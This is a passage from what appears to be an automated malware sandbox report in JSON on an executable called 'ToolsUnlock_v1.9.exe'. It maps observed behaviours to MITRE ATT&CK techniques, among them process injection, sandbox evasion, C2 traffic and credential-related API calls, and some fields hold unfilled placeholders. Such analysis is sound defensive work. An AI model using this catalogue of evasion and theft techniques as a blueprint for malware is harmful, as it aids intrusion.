string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve the URL data"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contacts domains"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"informative","value":"Contains ability to open a port and listen for incoming connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"suspicious","value":"Employs a browser-related User Agent without launching browser"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Found User Agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"informative","value":"GETs files from a web server (PE files)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"},{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"malicious","value":"Collects system information using POST request"},{"type":"suspicious","value":"POSTs data to a web server"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Able to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains ability to perform encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","id":"string-439","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"file/memory contains long string with (Indicator: \"OpenProcessToken\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procOpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procOpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform Base64 encoding/decoding","description":"$29","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"file/memory contains long string with (Indicator: \"SetFileTime\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procSetFileTime\" (Indicator: \"SetFileTime\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procSetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"Oidhamboqzs\" (Indicator: \"Oid\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to \"runtime.useAeshash\" (Indicator: \"Aes\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to \"runtime.useAeshash\" (Indicator: \"Aes\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")\n Found reference to \"SA/SHA384\" (Indicator: \"SHA384\"; Source: \"00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2a","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2b","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"runtime._QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"ToolsUnlock_v1.9.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"ToolsUnlock_v1.9.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to cryptographic keys","description":"Found string \"ncrypted Private Key\" (Indicator: \"private key\"; Source: \"00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-280","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$2f","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"$30","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$31","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetLogicalDriveStringsA\" (Indicator: \"GetLogicalDriveStringsA\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveTypeA\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1680","relevance":5,"id":"string-998","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Able to gather system information (.NET)","description":"Found string \"UserName\" (Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found string \"GetUserNameA\" (Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found string \"syscall.procGetUserNameExW\" (Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-937","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"ToolsUnlock_v1.9.exe\")\n Found string \"syscall.procGetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"ToolsUnlock_v1.9.exe\")\n Found string \"syscall.procGetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Able to perform scheduled transfer (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatusEx\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"file/memory contains long string with (Indicator: \"getaddrinfo\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetAddrInfoW\" (Indicator: \"getaddrinfo\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve machine time (API string)","description":"Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"FindWindowExA\" (Indicator: \"findwindow\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"PostMessageA\" (Indicator: \"postmessage\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"\" (Indicator: \"postmessage\"; Source: \"00000000-00006184.00000001.136997.CFFD0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"ToolsUnlock_v1.9.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006184)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"ToolsUnlock_v1.9.exe\" called \"GetSystemInfo\" with parameters (UID: 00000000-00006184)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"ToolsUnlock_v1.9.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00006184)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"ToolsUnlock_v1.9.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00006184)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$33","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Contains a Wine emulator-related string","description":"\"wine_get_version\" (Indicator: \"wine_get_version\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":5,"id":"string-62","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExA\" (Indicator: \"FindWindowExA\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"ToolsUnlock_v1.9.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"file/memory contains long string with (Indicator: \"GetTimeZoneInformation\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"syscall.procGetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"Found reference to API \"FindWindowExA\" (Indicator: \"FindWindow\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")\n Found reference to API \"GetWindowTextA\" (Indicator: \"GetWindowText\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00006184.00000000.136838.40000000.00000040.mdmp, 00000000-00006184.00000001.136997.40000000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"file/memory contains long string with (Indicator: \"GetVersion\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetVersion\" (Indicator: \"GetVersion\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetVersion\" (Indicator: \"GetVersion\"; Source: \"00000000-00006184.00000001.136997.01931000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"69fdf072a3f358a4db0a7584"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"file/memory contains long string with (Indicator: \"GetStartupInfo\"; File: \"ToolsUnlock_v1.9.exe\")\n Found reference to API \"syscall.procGetStartupInfoW\" (Indicator: \"GetStartupInfo\"; File: 